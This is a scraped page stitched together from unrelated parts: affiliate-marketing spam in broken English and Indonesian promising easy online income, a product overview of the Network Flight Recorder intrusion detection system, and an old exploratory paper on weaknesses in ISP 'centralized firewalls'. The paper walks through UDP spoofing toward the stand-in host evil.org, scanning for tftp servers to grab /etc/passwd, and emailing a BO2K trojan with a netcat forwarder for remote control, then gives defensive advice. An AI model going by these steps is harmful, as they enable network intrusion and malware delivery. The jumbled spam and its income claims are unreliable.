that identify the particular affiliate through which a visitor arrived at a certain site. The more prosperous affiliates use pay-per-click ads. The effectiveness of these ads is being eroded daily by the increasing number of fraudsters and scum artists who have invaded pay-per-click ads in droves. This has meant that out of the total click-throughs a person receives and has to pay for, an increasingly horrifying percentage are generated by fraudsters who have no intention of buying anything from the advertised web site.

Look for MONEY without CAPITAL???Many people will carry out the business am waiting terkumpul him capital.How with you whether like most people???Do you want to do business with without capital OR could money without capital???Many people mensangsikan that.But for you a person netter, that will become the reality.Please PROVE by joining programs is supervised this.

Make money bisnis online from earn profit earning affiliate programsThere is no doubt that the most successful group amongst online entrepreneurs are affiliates. Few are willing to go public about it but it is widely known that that there are a number of affiliates comfortably raking in hundreds of thousands of dollars in income every year. Actually there is one very powerful advantage that online entrepreneurs involved in affiliate programs have over their counterparts earning from their own ecommerce web sites. And that is the fact that people are usually bound to believe a person referring another web site to them much more easily and quickly than one trying to promote their own site. This coupled with the fact that the Internet is an amazingly powerful referral marketing tool has made the rise of online affiliates phenomenal within such a short time. But there is one major stumbling block that affiliates face today. And that is how to advertise their programs or how to generate enough sales leads. To be successful in any online venture a person needs numerous leads on an ongoing basis, that way they will have a chance of turning as many of them as possible into actual sales. Many affiliates generate leads by finding ways of harvesting email addresses of visitors to their web sites to create an opt-in email list which they then use as leads to refer to their affiliate sites. This is usually done via special links to the sites that identify the particular affiliate through which a visitor arrived at a certain site. The more prosperous affiliates use pay-per-click ads. The effectiveness of these ads is being eroded daily by the increasing number of fraudsters and scum artists who have invaded pay-per-click ads in droves. This has meant that out of the total click-throughs a person receives and has to pay for, an increasingly horrifying percentage are generated by fraudsters who have no intention of buying anything from the advertised web site.

Beragam cara yang bisa ditempuh untuk mendapatkan dollar dari internet mulai dari baca email, surfing, main game bahkan chatting. Kelihatannya tak masuk akal. Tapi itulah kenyataannya. Yang jadi pertanyaan, dari mana mereka mendapatkan uang untuk membayar kita ? Jawabannya mudah saja. Mereka mendapatkan uang dari perusahaan yang memasang iklan di web atau view bar mereka.Biar tidak penasaran Anda bisa mencoba beberapa situs atau program di bawah ini yang diyakini akan membayar kepada anggotanya. Sebagai tambahan, setelah (Anda mendaftar dan) uang Anda telah mencapai jumlah tertentu maka mereka akan mengirimkan bank draft check yang bisa Anda cairkan di banyak bank di Indonesia. dibawah ini ada beberapa link yang sudah terbukti membayar :

Earn Some money here

Network Flight Recorder – A New Tool for the War

NFR (Network Flight Recorder available at http://www.nfr.net) is an IDS (Intrusion Detection System) that gives the users a powerful tool for the war against illegal access to your network. With the flexibility of this tool, network managers can feel a little better about who is accessing their network and where their employees are going.

How Does NFR Work? Features of NFR

The NFR Intrusion Detection Appliance (IDA) is a flexible, extensible, general-purpose tool that addresses both security and network management. NFR uses N-Code that was released to allow the users the flexibility to configure the IDA for their configuration. NFR is a programmable traffic analysis/intrusion detection engine that can be instantly updated when a new attack is discovered. Most IDS like ISS RealSecure or Axent’s Intruder Alert/NetProwler require that the vendor send out either an executable from ISS or a signature from Axent. With NFR a user can write their own request order and install it. NFR gives the users a chance to customize the IDA to their needs.

The architecture of NFR was designed as a set of components, each tailored to a specific activity. Data is gathered by one or more packet suckers, forwarded to the decision engine for filtering and reassembly, and possibly recorded to a backend for storage or statistical processing. The query interface is kept completely separate from the input data flow to minimize the performance impact

Of a users querying the system while it is collecting data. The N programming language is a derivation of an interpreted language designed years ago for use in a computer game. The interpreter operates on a byte-code instruction set that implements a simple stack machine. One advantage of this approach is that NFR filters occupy very little memory, yet are quite fast to evaluate. N is a complete programming language including flow control, procedures, variables with scoping rules, and list data types. Unlike many programming languages, however, N has primary data types such as "IP address." Since NFR's may be used on large networks, we chose to implement counter data types as 64-bit integers, to reduce the chance of overflow

Configurations:

NFR can be configured in both distributed and stand-alone configurations. In the stand-alone configuration, a single NFR station gathers and stores information. The distributed configuration places multiple remote stations on the network, and each rolls their data to a central station. Manage, query, and view alerts through the central station and as you network grows, you add a new remote for that segment. You can manage your IDA from any Windows machine on your network. Change system settings, run queries, or view and receive alerts from the location the convenient for you.

How Can You Monitor Your System?

NFR has alerts that can be configured to popup on the NFR Console. The alerts popup and make a beep on the console which require immediate attention. The alerts are sent to the NFR console and the NFR IDA Recorder. If you are not running the console, you can use the alert viewer to view the alerts at a later time.

Triggers within N-code occur upon receipt or detection of an event that the code is attached to. Events can be triggered with limitations on source, destination, ports, client or server side (if known), or patterns within the TCP stream. The syntax looks like:

filter mailtrack tcp (client, dport: 25 ) {

The filter above is a simple TCP stream trigger that will monitor the client side of SMTP connections. The "client" and "server" notion is based on the reassembly engines recollection of which system initiated the connection that is being observed.

Keywords that can be placed within an event are:

client - from the caller

server - from the called

start: "string" - begin matching

stop: "string" - end matching

opensession - on start of connection

closesession - on end of connection

port - IP port number (source or dest)

sport - source port

dport - destination port

host - source or destination address

net - source or destination network

dst - destination address

src - source address

A typical use is to configure an event to call N code for as small a subset of received data as is practical, then implement any further filtering in N code. To detect spam, for example, you might select TCP traffic for port 25/SMTP.

Components:

NFR uses an IDA engine to sniff packets from one or more interfaces on the NFR IDA. Unlike a firewall, NFR IDA engine does not actually touch the packet. It only observes them to be recorded. Events tell the NFR IDA engine to take some sort of action. Events can be a command and control message, passage of time, and an arrival of a packet. Backends is one of the components of the IDA. Within Backends, you will have Filters, which list the event that caused the NFR IDA engine to begin gathering data. Configuration Files provide information about the title of the backend and other information displayed via the NFR console. Recorders write the information gathered by the backends to files. List Recorders collects, records, and maintain a log of activity. Histogram Recorders collects statistical information in many dimensions, rather than the one dimension typically used when gathering statistics. Packages group related types of Backends together. Shared N-Code filters that perform some of the processing for the backends in the package. Configuration files provide information about the title of the package and other information displayed via the NFR console.

"Centralized firewall" problems

DISCLAIMER: This document contains untested ideas, please verify or debunk

me. Perhaps this is already old information? In any case, I would

like some (constructive) feedback.

Introduction

------------

Many Internet Service Providers (ISPs) provide so-called "centralized

firewall" services to leased line customers. This document is an attempt to

highlight problems which may be associated with such a service. Bear in

mind that the ideas have not been tested (yet).

So, what is a centralized firewall service? And what is the idea behind such

a service? Well, let's talk about the idea first. The "easy" way to add

security to a network is to place a firewall between the network to be

protected and the open one (the Internet). The problem with this solution

is that someone has to spend time watching logs, maintaining rules, apply any

patches, and keep the firewall software up-to-date. This costs a lot of time,

and in most cases, a lot of money (security professionals are usually not

cheap these days).

ISPs know this. They also know that it is unlikely that small and medium-

sized businesses (SMBs) have the time, money or expertise to invest in such

a position. The solution they sell to SMBs is the centralized firewall.

The centralized firewall leaves all the log-watching and maintenance to the

ISP, and the ISP provides some sort of report if there is an attack, and

usually some sort of weekly or monthly summary (SMB executives like to know

how "visible" they are on the 'net).

Service types

-------------

I know of three types of ISP "firewall" services. One of them is not

centralized, so will not be covered here (remote maintenance, where there's a

physical firewall at the customer's site, owned and maintained by the ISP).

The two other types are based on a "real" firewall (such as Firewall-1) or

by using access-control lists (ACLs). The two figures below outline the

(usual) configuration for both solutions. Figure 1 describes the solution

using a true firewall, and figure 2 a solution using access-lists. The two

solutions usually reflect the price of the service. Leased-line customers

usually have the benefit of a "true" firewall, while dial-up customers are

given the ACL option.

{Internet} (5) {Internet} (3)

| |

+-------------+ +---------------+

| Core router | (4) | Access Router | (2)

+-------------+ | w/ ACL |

| +---------------+

+-------+ | | | ISDN lines

| Fire- | (3) | | |

| wall | +------+ | +------+

+-------+ | Cust | | | Cust | ...

| +------+ | +------+

+--------+ |

| Access | (2) +------+

| Router | | Cust | (1)

+--------+ +------+

/ | \ Leased Lines

/ | \

+------+ +------+ +------+

| Cust | | Cust | | Cust | ... (1)

| Rtr | | Rtr | | Rtr |

+------+ +------+ +------+

Figure 1 Figure 2

As you can see, there is a great deal more hardware involved when involving

a firewall than just relying on ACL's on the access router (hence the

difference in price). Both setups, however, have the same basic functions. In

figure 1, the traffic is only allowed to travel in the following manner:

(1) -> (2) -> (3) -> (4)

Policy routing ensures that traffic going from the customer _has_ to pass

through the firewall, thus prohibiting inter-customer traffic at level 2.

In figure 2, one uses "reflexive access-lists" (RACL, introduced in Cisco IOS

11.3) to make sure that traffic cannot pass from one customer to another

without passing through the ACL. TACACS+ or RADIUS determines which customer

should have this ACL installed (the ACL is defined in the router

configuration, not in the TACACS+ or RADIUS configuration file). Depending on

the ISP's setup, either a separate RACL will be installed for each customer,

or every customer uses the same RACL. This document assumes the latter.

It may be possible to use standard (extended) ACLs, but the idea behind RACL

is that timeouts are introduced in a kind of "state table". A standard ACL

doesn't have this; it validates packets using static rules.

For more on RACLs, check out http://www.cisco.com/univercd/cc/td/doc/product/

software/ios113ed/113ed_cr/secur_c/scprt3/screflex.htm (no spaces in this

URL).

Where is the problem?

---------------------

Both the firewall and the router containing the RACL uses some form of "state

table". This table defines what packets have left the inside, and usually

contains the following information (at least):

Source IP

Source port

Destination IP

Destination port

The router or firewall determines what packets are allowed through from the

outside depending on this table. TCP packets destined for the inside cannot

have the SYN flag set (unless specified in the filter rule), and are discarded.

UDP packets are not allowed through unless:

a) specified in the RACL

b) a UDP packet has been initiated from the inside first AND

c) the UDP reply has been received within a predefined time limit

Timers are used to invalidate UDP "sessions", since there is no way of knowing

when a UDP session ends (without looking at the overlying protocol).

This sounds innocuous enough if you are the only user of the firewall (this

is what happens when you have your own). However, in the above context, several

networks share the same firewall, and indeed, the same state table. If we

assume that all the customers are Nice(tm), then there shouldn't be a problem.

We should be paranoid, though, and consider the following scenario. What if

Customer-2 really dislikes Customer-1? In fact, how about Customer-2 (mean.com)

dislikes Customer-1 (nice.com) so much that Customer-2 gets in touch with

Mr. Evil (evil.org) on the Internet? See figure 3 for a quick situation

overview.

+----------+

{Internet}----| Mr. Evil | evil.org

| +----------+

|

+----------+

| RACL/ |

| Firewall |

+----------+

/ | \

/ | \

+--------+ +--------+ +--------+

| Cust-1 | | Cust-2 | | Cust-3 | ...

+--------+ +--------+ +--------+

nice.com mean.com

Figure 3

Staging the attack

------------------

Since they all share the same state table, Cust-2 could inject fake UDP packets

containing Cust-1's source IP and Mr. Evil's destination IP. Let's place

ourselves in Mr. Mean's shoes and make a coordinated attack on nice.com.

First, we call up Mr. Evil, or indeed, we just log into an account at evil.org,

that way we don't have to pay anyone to do our dirty deed.

Then there are a few ways we can do the next stage. If we know that nice.com

is comprised of UNIX machines, we could try exploiting the possibility of

poorly configured tftpd(8) servers. Gaining unauthorized files using tftp(1)

is a very old attack, as we well know. However, tftpd(8) servers are

surprisingly often present on networks that rely on firewalls to protect them.

I am quite sure there are some other remote exploits we could use; rpc.statd

or rpc.mountd perhaps. tftp(1) is used as an example as it is an easy thing

to describe. Anyway. Back to our dirty deed.

We send the following spoofed packets from mean.com:

src_ip:src_port dst_ip:dst_port

1.nice.com:69 evil.org:31337

2.nice.com:69 evil.org:31337

3.nice.com:69 evil.org:31337

..

..

254.nice.com:69 evil.org:31337

From evil.org we fire up nmap[1] as root, and tell it to scan for machines

1-254.nice.com using source port 31337 and destination port 69. We (hopefully)

get a few results back. It is probably a good idea to start the nmap scan

fairly soon after we inject the spoofed packets through the firewall/RACL as

the state table won't keep the UDP traffic valid for very long.

When we have a list of usable tftpd(8) servers, we fire up our patched version

of tftp(1) which will let us issue requests with predefined source ports (in

this case 31337).

That's about it. The firewall will (if all goes to plan[2]) let the traffic

through, and if there are any ill-configured tftpd(8) servers there, we might

be able to grab /etc/passwd (or perhaps their gateway-conf[3] files).

Another attack

--------------

We could also stage an attack against a Windows network, but the attack

outlined below doesn't implicitly need mean.com. An attacker from evil.org

could do the same attack without having help from the "inside", i.e. there

would no need for a port forwarder on evil.org; one could just fire up the

BO2K administration software there. (I ran out of ideas here, ok? Perhaps one

could stage a NetBIOS attack or something.)

Set up a port forwarder on evil.org, which points UDP port 1138 to

salesguy.nice.com port 53. Netcat (hobbit@avian.org) can be used for this.

1) Send an email to some of his employees (phone up nice.com's

switchboard for the email of a sales person).

2) Send "Dancing Pigs" + BO2K attachment to sales guy. Configure BO2K

to use UDP on port 53 (perhaps using this port will not seem

too suspicious in any firewall logs, as it could be confused with

a regular DNS request).

3) Wait for BO2K to install itself (SpeakEasy or ButtTrumpet will

tell us when this has been happened).

Send the following fake UDP packet from mean.com:

src_ip:src_port dst_ip:dst_port

salesguy.nice.com:53 evil.org:1138

Start our BO2K administration software, and connect to evil.org:1138. We

should[2] now have control over salesguy.nice.com.

Conclusion

----------

Historically, it has been well documented in security papers that UDP is a

very difficult protocol to handle securely. Despite this well known fact, more

and more applications have been built on this weak foundation. The reasons

vary, but the truth is that UDP is a very simple (and fast) protocol to base

higher level protocols on.

Customers should not rely solely on the protection offered by the ISP when

purchasing this type of service. This paper has discussed two attacks against

a poorly implemented "centralized firewall", with a few hints towards other

attacks. It should be clear that this is a very real threat. Failure to

recognize this fact could lead to a very embarrassing compromise.

It is imperative that there's some form of spoofing protection in place on

the company's border perimeter. In figure 1, this can easily be achieved by

using regular ACLs on the Access Router (2). Without having delved too deep

into the matter, it is possible that CEF[4] could be used too. CEF, however,

does not work on all Cisco IOS routers; consult your manual.

If RACLs (figure 2) are used, the ISP can prevent spoofing by using separate

RACLs for each customer. This, however, can become a huge configuration issue,

depending on how many dial-up customers the ISP has.

Addendum

--------

It should also be noted that some ISPs also provide a hosting service with

"firewall protection". Figure 4 shows a general overview.

{Internet}

|

+--------+

| Router |

+--------+

|

+----------+

| Firewall |

+----------+

|

+------+ +--------+ +------+

| Cust |---| Switch |---| Cust |

+------+ +--------+ +------+

|

+------+

| Cust |

+------+

Figure 4

The "Cust" machines are customer servers, with perhaps one or more of the

following scenarios:

- owned by ISP, customer has no root access

- owned by ISP, multihomed, customers have no root access

- owned by customer, customer has root access

When the machine is owned by the ISP, there is a distict possibility that

the ISP will try to confine the customer to a "safe"[5] environment.

Usually the customers are separated from each other on a switch with VLANs to

prevent them from attacking each other. However, if the theory described above

works, there is no reason the tricks described in the attack section shouldn't

apply here.

--

[1] Infamous scanner written by Fyodor (found at http://www.insecure.org).

[2] Of course, as I disclaimed in the beginning, only if this theory works!!

[3] "-conf" is the usual extension used by Cisco router configurations.

[4] Cisco Express Forwarding (http://www.cisco.com/univercd/cc/td/doc/

product/software/ios112/ios112p/gsr/cef.htm#xtocid262640). A layer 3

switching mechanism.

[5] Probably exploitable.